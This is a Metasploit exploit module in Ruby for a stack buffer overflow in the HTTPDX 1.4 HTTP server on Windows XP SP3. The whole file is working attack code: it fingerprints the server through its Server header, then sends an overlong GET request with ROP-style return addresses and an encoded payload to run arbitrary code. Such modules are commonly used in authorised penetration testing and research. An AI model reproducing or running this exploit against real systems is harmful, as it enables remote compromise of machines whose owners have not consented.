require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The 
        vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
        By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
      },
      'Author'         => [ 
            'Pankaj Kohli <pankaj208[at]gmail.com>',  # Original exploit [see References]
            'Trancer <mtrancer[at]gmail.com>'    # Metasploit implementation
            ], 
      'References'     =>
        [
          [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
          [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
          [ 'OSVDB', '58714' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",
          'StackAdjustment' => -1500,
          'DisableNops'  =>  'True',

        },
      'Platform'       => 'win',
      'Targets'        => 
      [
        [  'httpdx 1.4 - Windows XP SP3',
          {
          'Offset'  => 616,
          'Rets'    => [ 0x64f8134b, 0x63b8624f, 0x7c874413 ],   # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
          }
        ],
      ],
      'DefaultTarget'  => 0))
      register_options( [ Opt::RPORT(80) ], self.class )
  end

  def check
    response = send_request_raw

    if response and 
       response['Server'] and 
       response['Server'] =~ /httpdx\/1.4 (Win32)/
      return Exploit::CheckCode::Appears
    end
      
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    sploit  = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
    sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
    sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
    sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

    request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"

    print_status("Trying target #{target.name}...")

    sock.put(request)
    sock.close

    disconnect
    handler
  end
end